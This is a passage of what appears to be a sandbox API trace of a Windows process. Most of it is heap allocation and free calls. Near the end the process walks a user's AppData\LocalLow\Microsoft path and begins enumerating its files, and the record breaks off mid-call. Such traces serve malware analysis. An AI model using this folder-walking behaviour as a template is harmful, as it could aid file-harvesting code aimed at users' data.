(in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.132] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0068.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.132] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.132] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0068.132] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0068.144] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.144] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.144] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.144] PathFindFileNameW (pszPath="") returned="" [0068.144] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.144] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.145] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.145] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.145] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0068.145] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0068.145] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edab0 [0068.145] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x3285c68 [0068.145] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.145] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cebb8 [0068.145] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0068.145] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32882c0 | out: hHeap=0x5d0000) returned 1 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31befa0 | out: hHeap=0x5d0000) returned 1 [0068.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edd50 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edab0 | out: hHeap=0x5d0000) returned 1 [0068.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0068.146] FindNextFileW (in: hFindFile=0x31bee60, 